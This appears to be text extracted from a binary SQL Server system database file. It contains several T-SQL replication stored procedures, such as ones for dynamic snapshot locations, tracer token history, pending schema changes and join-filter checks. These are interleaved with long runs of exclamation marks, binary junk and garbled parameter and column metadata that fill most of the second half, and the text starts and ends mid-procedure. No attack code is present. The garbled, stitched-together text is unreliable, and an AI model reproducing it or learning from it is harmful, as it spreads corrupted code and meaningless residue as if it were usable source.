    SELECT @publisher_id = srvid 
      FROM master.dbo.sysservers
     WHERE UPPER(srvname) = UPPER(@publisher)
    IF @publisher_id IS  NULL
    BEGIN
        RAISERROR(21169, 16, -1, @publisher, @@SERVERNAME, @publisher)    
    END
    
    -- Get the publication details from the agent for regular snapshot  
    select @agent_id = id,
           @job_id = job_id,
           @job_step_uid = job_step_uid,
           @publication_type = publication_type
      from MSsnapshot_agents
     where publisher_id = @publisher_id and 
           publication = @publication and 
           publisher_db = @publisher_db and
          ((@dynamic_filter_login is NULL and dynamic_filter_login is NULL) or dynamic_filter_login = @dynamic_filter_login)  and
          ((@dynamic_filter_hostname is NULL and dynamic_filter_hostname is NULL) or dynamic_filter_hostname = @dynamic_filter_hostname)
    if @agent_id is null or @job_id is NULL
    begin
        raiserror(21325, 11, -1)
        return 1
    end

    if @publication_type <> 2
    begin
        raiserror(20654, 16, -1)
        return 1
    end

    select @str_jobid = convert(nvarchar(40),@job_id)
    
    -- Change the dynamic snapshot location parameter in the job step
    select @command_line = command from msdb.dbo.sysjobsteps 
        where step_uid = @job_step_uid and job_id = @job_id
    if @command_line is NULL
    begin
        raiserror(20724, 16, -1, @str_jobid, @publication)
        goto UNDO
    end

    SELECT @command_line = sys.fn_updateparameterwithargument(@command_line, N'DynamicSnapshotLocation', sys.fn_replquotename(@dynamic_snapshot_location, default) collate database_default )
    if @@error <> 0
    begin
        raiserror(20725, 16, -1, @str_jobid, @publication)
        goto UNDO
    end

    UPDATE msdb.dbo.sysjobsteps
        SET command = @command_line
        WHERE job_id = @job_id
            AND step_uid = @job_step_uid
    if @@error <> 0
    begin
        raiserror(20725, 16, -1, @str_jobid, @publication)
        goto UNDO
    end
    
    RETURN(0)

UNDO:
    return(1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`0*<C320T 8
--
-- Name:    
--          sp_IHisarticlecolbitset
--          
-- Description: 
--          Query to see if specific column in a specific article is being replicated
--  
-- Security: 
--          Internal
--
-- Returns:
--          1 == if col replicated for article
--			0 == if col is not replicated for article
--      
-- Owner:   
--          <current owner> 

create procedure sys.sp_IHisarticlecolbitset
(
	@colid	int, 
	@artid	int
)
as
begin
	if exists
	(
		select	article_id
		from	IHcolumns
		where	article_id	= @artid
		  and	column_id	= @colid
	)
	begin
		return 1
	end
	else
	begin
		return 0
	end
end
0' 8create procedure sys.sp_deletetracertokenhistory
(
	@publication	sysname,
	@tracer_id		int 		= NULL,
	@cutoff_date	datetime 	= NULL,
	@publisher		sysname 	= NULL,	
	@publisher_db	sysname 	= NULL
)
as
begin
	declare @retcode 			int,
			@distproc 			nvarchar(1000),
			@distributor 		sysname, 
			@distribution_db 	sysname
	--
	-- Calling convention is different if we are already at the distdb
	--
	if sys.fn_MSrepl_isdistdb (db_name()) = 1
	begin
		-- security check for distributor is performed in the helper proc.

		-- if we are at the distributor then publisher and
		-- publisher db are required parameters for this proc
		if isnull(@publisher, N'') = N''
		begin
			-- Parameter '%s' cannot be NULL or empty string when this procedure is run from a distribution database.
			raiserror(20686, 16, -1, '@publisher', 'distribution')
			return 1
		end
		else if isnull(@publisher_db, N'') = N''
		begin
			-- Parameter '%s' cannot be NULL or empty string when this procedure is run from a distribution database.
			raiserror(20686, 16, -1, '@publisher_db', 'distribution')
			return 1
		end
		
		exec @retcode = sys.sp_MSdelete_tracer_history @tracer_id		= @tracer_id,
														@cutoff_date	= @cutoff_date,
														@publisher		= @publisher,	
														@publisher_db	= @publisher_db,
														@publication 	= @publication

		return @retcode
	end

	--
	-- Everything below this line is expected to run on the Publisher
	--
	
    -- Publisher Security Check.
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return 1

    -- check this db is published
	if sys.fn_MSrepl_istranpublished(db_name(),1) <> 1
	begin
		-- "The database is not published."
		raiserror (18757, 16, -1)
		return 1
	end
	
	-- do not allow users to specify pub/pubdb unless at disdb
	if @publisher is not NULL
	begin
		-- Parameter ''%s'' must be NULL when this procedure is not being run from a distribution database.
		raiserror(20687, 16, -1, '@publisher', 'distribution')
		return 1
	end
	else if @publisher_db is not NULL
	begin
		-- Parameter ''%s'' must be NULL when this procedure is not being run from a distribution database.
		raiserror(20687, 16, -1, '@publisher_db', 'distribution')
		return 1
	end

	select @publisher = publishingservername(),
			@publisher_db = db_name()

	exec @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor OUTPUT, 
											@distribdb = @distribution_db OUTPUT,
											@publisher = @publisher
	if @@error <> 0 or @retcode <> 0 or @distributor is NULL or @distribution_db is NULL
	begin
		-- "The Distributor has not been installed correctly."
		raiserror(20036, 16, -1)
		return 1
	end

	select @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MSdelete_tracer_history'	
	exec @retcode = @distproc @tracer_id		= @tracer_id,
								@cutoff_date	= @cutoff_date,
								@publisher		= @publisher,	
								@publisher_db	= @publisher_db,
								@publication 	= @publication
	if @@error <> 0 or @retcode <> 0 
	begin
		return 1
	end

	return 0
end
0@ 	8create procedure sys.sp_enumeratependingschemachanges(
    @publication                sysname,
    @starting_schemaversion     int = 0
    )
as  
begin
    set nocount on
    declare @retcode    int
    declare @pubid      uniqueidentifier
    declare @SCHEMA_TYPE_SNAPSHOTTRAILER int
    declare @snapshot_trailer_schemaversion int

    select @retcode = 0
    exec @retcode=sys.sp_MSreplcheck_publish
    if @retcode<>0 or @@ERROR<>0 return (1)

    if @publication IS NULL
    begin
        raiserror (14003, 16, -1)
        return (1)
    end
    select @pubid = pubid FROM dbo.sysmergepublications WHERE name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
    if @pubid is NULL
    begin
        raiserror (21274, 16, -1, @publication)
        return (1)
    end
    

    set @SCHEMA_TYPE_SNAPSHOTTRAILER = 52
    select @snapshot_trailer_schemaversion = schemaversion from dbo.sysmergeschemachange 
        where pubid=@pubid and schematype = @SCHEMA_TYPE_SNAPSHOTTRAILER
    if (@starting_schemaversion <= @snapshot_trailer_schemaversion) 
        set @starting_schemaversion = @snapshot_trailer_schemaversion + 1
    create table #pendingschemachanges 
    (   
        article_name    sysname           NULL,
        schemaversion   int               NOT NULL,
        schematype      sysname           NOT NULL,
        schematext      nvarchar(max)     collate database_default not null,
        schemastatus    nvarchar(10)      NOT NULL,
        schemaguid      uniqueidentifier  NOT NULL
    )
        
    truncate table #pendingschemachanges
    insert into #pendingschemachanges 
        select distinct case (isnull(ma.artid, '00000000-0000-0000-0000-000000000000')) when  '00000000-0000-0000-0000-000000000000' then 'Publication-wide' else ma.name end, 
            sc.schemaversion, sys.fn_MapSchemaType(sc.schematype, sc.schemasubtype), sc.schematext, 
            case sc.schemastatus 
                when 0 then 'inactive'
                when 1 then 'active'
                when 2 then 'skip'
                else 'invalid'
            end, sc.schemaguid
        from dbo.sysmergeschemachange sc left outer join dbo.sysmergearticles ma on sc.artid = ma.artid
            where sc.pubid=@pubid and 
              sc.schemaversion >= (@starting_schemaversion) order by schemaversion

    select * from  #pendingschemachanges            
    drop table #pendingschemachanges
              
end
0_+ D8hE"#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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<V\&0" H8-- Requires Certificate signature for catalog access
create procedure sys.sp_MScheck_join_filters (@pubid uniqueidentifier
                                        , @use_partition_groups smallint
                                        , @dynamic_filters bit
                                        , @can_use_partition_groups bit output
                                        , @has_dynamic_filters bit output
                                        , @dynamic_filters_function_list nvarchar(500) output
                                        , @uses_host_name bit output
                                        , @uses_suser_sname bit output)
with execute as 'dbo'
as

    declare @join_filterid int
    , @art_nickname int
    , @join_nickname int
    , @join_filterclause nvarchar(1000)
    , @join_objid int
    , @art_objid int
    , @owner_qualified_art_name nvarchar(400)
    , @owner_qualified_join_name nvarchar(400)
    , @art_name nvarchar(130)
    , @join_name nvarchar(130)
    , @viewname sysname
    , @retcode int
    
    
    -- take each join filter and create a view between the parent and child tables 
    -- using the join filter as the join clause.
    select top 1 @join_filterid = join_filterid
                , @art_nickname = art_nickname
                , @join_nickname = join_nickname
                , @join_filterclause = join_filterclause
    from dbo.sysmergesubsetfilters 
    where pubid = @pubid
    and (filter_type & 1) = 1
    order by join_filterid
    
    while @join_filterid is not null
    begin
        select @join_objid = objid from dbo.sysmergearticles where nickname = @join_nickname
        select @art_objid = objid from dbo.sysmergearticles where nickname = @art_nickname

        select @owner_qualified_art_name = quotename(SCHEMA_NAME(schema_id)) + '.' + quotename(name)
                , @art_name = quotename(name)
        from sys.objects
        where object_id = @art_objid
        
        select @owner_qualified_join_name = quotename(SCHEMA_NAME(schema_id)) + '.' + quotename(name)
                , @join_name = quotename(name)
        from sys.objects
        where object_id = @join_objid    
                
        select @viewname = quotename('MSmerge_join_filter_view_' + convert(nvarchar(40), newid()))
        select @viewname = REPLACE(@viewname, '-', '_')
        
        begin tran
        save tran check_join_filter_partid_lim

        exec ('create view dbo.' + @viewname + ' as select placeholder = 1 from ' + @owner_qualified_art_name + ' ' + @art_name + ', ' + 
                    @owner_qualified_join_name + ' ' + @join_name + ' where ' + '(' + @join_filterclause + ')')
        if @@error <> 0
            goto UNDO
            
        exec @retcode = sys.sp_MScheck_functions_directly_in_view    @viewname = @viewname
                                                                , @has_dynamic_filters = @has_dynamic_filters output
                                                                , @dynamic_filters_function_list = @dynamic_filters_function_list output
                                                                , @uses_host_name = @uses_host_name output
                                                                , @uses_suser_sname = @uses_suser_sname output
                                                                
        if @@error <> 0 or @retcode <> 0
            goto UNDO
        
        if @has_dynamic_filters = 1
        begin
            
            set @can_use_partition_groups = 0
            
            if @use_partition_groups in (1,2)
            begin
                --Join filter between art_name and join_name contains functions
                raiserror(22513, 16, -1, @owner_qualified_art_name, @owner_qualified_join_name)
                goto UNDO
            end
            
            --if @dynamic_filters = 0
            --begin
                --raiserror(22517, 16, -1)
                --goto UNDO
            --end
                    
        end        
        
        exec @retcode = sys.sp_MScheck_functions_indirectly_in_view @viewname = @viewname
                                                                , @use_partition_groups = @use_partition_groups
                                                                , @can_use_partition_groups = @can_use_partition_groups output
                                                                , @has_dynamic_filters = @has_dynamic_filters output
                                                                , @dynamic_filters_function_list = @dynamic_filters_function_list output
                                                                , @uses_host_name = @uses_host_name output
                                                                , @uses_suser_sname = @uses_suser_sname output
        if @@error <> 0 or @retcode <> 0
            goto UNDO
        
        if @has_dynamic_filters = 1
        begin
            set @can_use_partition_groups = 0
            
            if @use_partition_groups in (1,2)
            begin
                -- no need to raise new error. sp_MScheck_functions_indirectly_in_view would have
                -- raised an error if it had found any functions.
                goto UNDO
            end
            
            --if @dynamic_filters = 0
            --begin
                --raiserror(22517, 16, -1)
                --goto UNDO
            --end
        end        
    
        -- rollback tran so that the temp view gets dropped. 
        rollback tran check_join_filter_partid_lim
        commit tran
        
        -- Check the next join filter.    
        
        select top 1 @join_filterid = join_filterid
                , @art_nickname = art_nickname
                , @join_nickname = join_nickname
                , @join_filterclause = join_filterclause
        from dbo.sysmergesubsetfilters 
        where pubid = @pubid
        and (filter_type & 1) = 1
        and join_filterid > @join_filterid
        order by join_filterid
        
        if @@rowcount = 0
            set @join_filterid = NULL
    end
    
    return 0
    
UNDO:

    if @@trancount > 0
    begin
        rollback tran check_join_filter_partid_lim
        commit tran
        return 1
    end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<)Ί0C <8-- Requires Certificate signature for catalog access
create procedure sys.sp_MScheck_functions_indirectly_in_view @viewname nvarchar(400)
                                                            , @use_partition_groups smallint
                                                            , @can_use_partition_groups bit output
                                                            , @has_dynamic_filters bit output
                                                            , @dynamic_filters_function_list nvarchar(500) output
                                                            , @uses_host_name bit output
                                                            , @uses_suser_sname bit output
as
    declare @depends_on_viewid int
    , @owner_qualified_depends_on_viewname nvarchar(400)
    , @retcode int
   
    
    select top 1 @depends_on_viewid = referenced_major_id
    from sys.sql_dependencies 
    where object_id = object_id(@viewname)
    and referenced_major_id in (select object_id from sys.objects where type = 'V')
    order by referenced_major_id
    
    while @depends_on_viewid is not null
    begin
    
        select @owner_qualified_depends_on_viewname = quotename(SCHEMA_NAME(schema_id)) + '.' + quotename(name)
        from sys.objects
        where object_id = @depends_on_viewid
        
        exec @retcode = sys.sp_MScheck_functions_directly_in_view    @viewname = @owner_qualified_depends_on_viewname
                                                                , @has_dynamic_filters = @has_dynamic_filters output
                                                                , @dynamic_filters_function_list = @dynamic_filters_function_list output
                                                                , @uses_host_name = @uses_host_name output
                                                                , @uses_suser_sname = @uses_suser_sname output
                                                                
        if @@error <> 0 or @retcode <> 0
            return 1
        
        if @has_dynamic_filters = 1
        begin
            set @can_use_partition_groups = 0
            
            if @use_partition_groups in (1,2)
            begin
                
                -- View @owner_qualified_depends_on_viewname contains functions and is
                -- referenced in a filter clause.
                raiserror(22514, 16, -1, @owner_qualified_depends_on_viewname)
                return 1
            end
            
        end        
        
        exec @retcode = sys.sp_MScheck_functions_indirectly_in_view @viewname = @owner_qualified_depends_on_viewname
                                                                , @use_partition_groups = @use_partition_groups
                                                                , @can_use_partition_groups = @can_use_partition_groups output
                                                                , @has_dynamic_filters = @has_dynamic_filters output
                                                                , @dynamic_filters_function_list = @dynamic_filters_function_list output
                                                                , @uses_host_name = @uses_host_name output
                                                                , @uses_suser_sname = @uses_suser_sname output
        if @@error <> 0 or @retcode <> 0
            return 1
        
        if @has_dynamic_filters = 1
        begin
            set @can_use_partition_groups = 0
            
            if @use_partition_groups in (1,2)
            begin
                -- no need to raise new error. sp_MScheck_functions_indirectly_in_view would have
                -- raised an error if it had found any functions.
                return 1
            end
        end        
        
        select top 1 @depends_on_viewid = referenced_major_id
        from sys.sql_dependencies 
        where object_id = object_id(@viewname)
        and referenced_major_id in (select object_id from sys.objects where type = 'V')
        and referenced_major_id > @depends_on_viewid
        order by referenced_major_id
        
        if @@rowcount = 0
            select @depends_on_viewid = NULL
    end
        
    return 0
0@ D8Zh%|!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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ename0-E(?@size0-E(E@maxsize0-E(K@filegrowth0-G88
S@publication_id0-G88
A@hours0-G88
O@session_type0-gI@publisher0-gO@publisher_db0-gM@publication0-g88
Y@subscription_type0-g88
W@publication_type0-^88
E@timeout0-^@G@lockmode0-^88
Q@lock_acquired0-^@I@lockowner0-%E88
Gobject_id0-%E88
Gschema_id0-%EOTABLE_CATALOG0-%EMTABLE_SCHEMA0-%EITABLE_NAME0-%EKCOLUMN_NAME0-%E$$KCOLUMN_GUID0-%E88
OCOLUMN_PROPID0-%E	88
UORDINAL_POSITION0-%E
hhWCOLUMN_HASDEFAULT0-%EQCOLUMN_DEFAULT0-%E88
MCOLUMN_FLAGS0-%E
hhKIS_NULLABLE0-%E44GDATA_TYPE0-%E$$GTYPE_GUID0-%E88
eCHARACTER_MAXIMUM_LENGTH0-%E88
aCHARACTER_OCTET_LENGTH0-%E44WNUMERIC_PRECISION0-%E44ONUMERIC_SCALE0-%E88
YDATETIME_PRECISION0-%E_CHARACTER_SET_CATALOG0-%E]CHARACTER_SET_SCHEMA0-%EYCHARACTER_SET_NAME0-%EWCOLLATION_CATALOG0-%EUCOLLATION_SCHEMA0-%EQCOLLATION_NAME0-%EQDOMAIN_CATALOG0-%EODOMAIN_SCHEMA0-%EKDOMAIN_NAME0-%EKDESCRIPTION0-%E88
KCOLUMN_LCID0-%E 88
UCOLUMN_COMPFLAGS0-%E!88
OCOLUMN_SORTID0-%E"[COLUMN_TDSCOLLATION0-%E#hhKIS_COMPUTED0-%E${SS_XML_SCHEMACOLLECTION_CATALOGNAME0-%E%ySS_XML_SCHEMACOLLECTION_SCHEMANAME0-%E&kSS_XML_SCHEMACOLLECTIONNAME0-%E'YSS_UDT_CATALOGNAME0-%E(WSS_UDT_SCHEMANAME0-%E)KSS_UDT_NAME0-%E*@@eSS_UDT_ASSEMBLY_TYPENAME0-%E+hhMSS_IS_SPARSE0-%E,hhUSS_IS_COLUMN_SET0-~88
A@artid0-~I@publisher0-~S@publisher_type0-$$A@pubid0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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!_;`-?)kD0-賴M@publication0-賴hhM@ddl_present0-88
Gobject_id0-44Uprocedure_number0-=name0-88
Mparameter_id0-00Qsystem_type_id0-88
Muser_type_id0-00Gprecision0-00?scale0-	88
Imax_length0-
hhGis_output0-hhWhas_default_value0-bbPPOdefault_value0-
88
Wxml_collection_id0-AM@publication0-AE@article0-AC@column0-A88
K@mapping_id0-A?@type0-AC@length0-AI@precision0-AA@scale0-A	hhG@nullable0-A
I@publisher0-AS@publisher_typeDs0cz+Dq A`-U
5){80-)88
U@activestartdate0-)88
Q@activeenddate0-)88
_@activestarttimeofday0-)88
[@activeendtimeofday0-)88
M@nextrundate0-)88
M@nextruntime0-)88
M@runpriority0-)Y@emailoperatorname0-)88
Q@retryattempts0-)88
K@retrydelay0-)@E@command0-)88
c@loghistcompletionlevel0-)88
_@emailcompletionlevel0-)M@description0-)Y@tagadditionalinfo0-)88
M@tagobjectid0-)88
Q@tagobjecttype0-)88
[@cmdexecsuccesscode0-) Q@category_name0-)!hhY@failure_detection0-)"88
G@agent_id0-)#88
G@proxy_id0-)$I@job_login0-)%O@job_password0-)&C@job_id0-)'$$O@job_step_uid0-YI@publisher0-YM@publication0-YE@article0-I@publisher0-O@publisher_db0-M@publication0-G@property0-G@strvalue0-88
G@intvalue0-88
Y@subscription_type0-4ZC@column0-4Z?@list0-sI@publisher0-sO@publisher_db0-sM@publication0-sG@reserved0-O@tablenickstr0-O@source_table0-M@table_owner0-A@rgcol0-88
U@column_tracking0-00O@trigger_type0-G@viewname0-C@tsview0-nM@publication0-n88
Q@schemaversion0-nC@statusWl+

@
]9

d

		8:	Uz3BIDQZ
e`Z-AZ)b<J0-̲M@publication0-̲g@dynamic_snapshot_jobname0-̲$$c@dynamic_snapshot_jobid0-g W@qual_object_name0-g 88
A@objid0-g _@pass_through_scripts0-g [@target_object_name0-pM@publication0-pE@article0-p88
A@objid0-A@value0-hh]@create_ddl_triggers0-44O@whattocreate0-X88
A@objid0-X=@csn0-X88
K@batch_size0-XK@stat_value0-E@objname0-
E@results0-$$A@pubid0-E@artname0-I@next_seed0-A@range0-88
I@threshold0-88
I@checkonly0-wG@rolename0-@88
A@artid0-@00Q@publishertype0-@I@publisher0-588
K@request_id0-5I@peer_node0-5E@peer_db0-588
U@peer_db_version0-5hhi@conflictdetection_enabled0-588
[@peer_originator_id0-588
e@peer_conflict_retention0-5hhg@peer_continue_onconflict0-5	O@peer_histids0-5
U@originator_node0-5Q@originator_db0-YO@profile_name0-NO@functionname0-NhhI@isdynamic0-NhhS@uses_host_name0-NhhW@uses_suser_sname0-cM@policy_name0-cK@event_data0-chhM@synchronous0-R@Q@originator_id0-R&C@row_id0-RS@conflict_table0-W@capture_instance0-hh_@supports_net_changes-288
0-288
I@object_id0-k,400?@mode0-k,4$$K@primary_id0-k,4S@primary_server0-k,4S@monitor_server0-k,4W@primary_database0-k,488
W@backup_threshold0-k,488
U@threshold_alert0-k,4hhe@threshold_alert_enabled0-k,4	W@last_backup_file0-k,4
==W@last_backup_date0-k,4==_@last_backup_date_utc0-k,488
g@history_retention_period0-888
Gobject_id0-8Ophysical_name0-P;K@table_name0-P;M@table_owner0-P;U@table_qualifier0-qI@publisher0-qO@publisher_db0-qM@publication0-q88
I@tablenick0-q$$E@rowguid0-q88
C@retval0-q88
C@nested0-UI@tablename0-UI@ownername0-UG@procname0-U$$A@pubid0-U$$A@artid0-Uhhg@generate_subscriber_proc0-UY@destination_owner0-W$$A@pubid0-W88
I@tablenick0-W$$M@lastrowguid0-W88
E@maxrowse~7q^	[j+Re|/p-R

<
MB


		6	QX7h'uER:[nw`7-i3)u%eWM{0-="K@table_name0-="O@table_schema0-="O@table_schema0-/C@object0-/E@colname0-/hh?@fset0-4Q3M@publication0-4Q3C@cmdtxt0-q744Qmemory_node_id0-q7wvirtual_address_space_reserved_kb0-q7yvirtual_address_space_committed_kb0-q7ilocked_page_allocations_kb0-q7Epages_kb0-q7gshared_memory_reserved_kb0-q7ishared_memory_committed_kb0-q7Wcpu_affinity_mask0-q7	_online_scheduler_mask0-q7
44Sprocessor_group0-q7]foreign_committed_kb0-/9K@subscriber0-/9Q@subscriber_db0-/9M@publication0-U<W@capture_instance0-U<
S@low_water_mark0-U<I@threshold0-ICK@table_name0-IC88
I@handle_id0-.K$$A@pubid0-.K$$A@artid0-.KG@property0-.KA@value0-.K88
Q@value_numeric0-aLM@publication0-aLE@article0-aLhhA@alter0-aLhhI@usesqlclr0-oVM@db_snapshot0-oV
E@lastLSN0-oV(K@lastLSNstr0-C>]M@MessageType0-C>]E@Message0-C>]G@database0-vetransaction_sequence_num0-v]version_sequence_num0-v44Kdatabase_id0-vGrowset_id0-o+M@publication0-o+E@article0-o+U@conflict_script0-o+A@login0-o+G@passwordo$
b

>c"

?
		v	5	Xah_Jh]IH`-_L)t!|^0-VQworker_address0-V88
Astatus0-VhhOis_preemptive0-VhhEis_fiber0-VhhCis_sick0-VhhYis_in_cc_exception0-VhhYis_fatal_exception0-VhhSis_inside_catch0-V	hh{is_in_polling_io_completion_routine0-V
88
]context_switch_count0-V88
Upending_io_count0-V_pending_io_byte_count0-V
88
cpending_io_byte_average0-V_wait_started_ms_ticks0-V_wait_resumed_ms_ticks0-V[task_bound_ms_ticks0-Vcworker_created_ms_ticks0-V88
Oexception_num0-V88
Yexception_severity0-VWexception_address0-VEaffinity0-Vx4x?state0-VOstart_quantum0-VKend_quantum0-Vx4xQlast_wait_type0-V88
Kreturn_code0-VMquantum_used0-VKmax_quantum0-V88
Kboost_count0-V88
_tasks_processed_count0-VOfiber_address0-V Mtask_address0-V!_memory_object_address0-V"Qthread_address0-V#_signal_worker_address0-V$Wscheduler_address0-V%44Sprocessor_group-P0- C@varbin0-I@publisher0-O@publisher_db0-M@publication0-K@subscriber0-Q@subscriber_db0-88
I@retention0-88
M@out_of_date0-hhY@independent_agent0-a$$G@agent_id0-a00K@agent_type0-aG@database0-a00?@mode0-aS@monitor_server0-$$G@agent_id0-00K@agent_type0-88
K@session_id0-Z88
A@artid0-Z00Q@publishertype0-ZI@publisher0-ZhhI@usesqlclr0-ZhhI@inDDLrepl0-PI@publisher0-PO@source_table0-PO@source_owner0-PS@publisher_type0-P88
W@publication_type0-T 88
A@objid0-+$M@publication0-+$E@article0-+$K@subscriber0-+$S@destination_db0-+$hh[@ignore_distributor0-+$G@reserved0-+$I@publisher0-+$S@publisher_type0-V,M@publication0-V,E@articleb$A\	k"GjFm~-

F
6/

4
		?	V}89{ZI{"A`i-J)Z	10-BK@schemaname0-BI@tablename0-qhhq@mark_expired_as_failed_attach0-o9Ide`<~
 ;n4 schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
                  from sysmergeschemachange where schemaversion > @schemaversion 
                   and pubid = @pubid
           and schematype = 52 
        
        -- Insert other schema changes
        insert into #schemachanges 
            select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
                  from sysmergeschemachange where schemaversion > @schemaversion 
           and schematype not in (2, 3, 4, 10, 15, 20, 7, 40, 45, 60)
           and schematype not in (61, 62, 63, 64, 65)
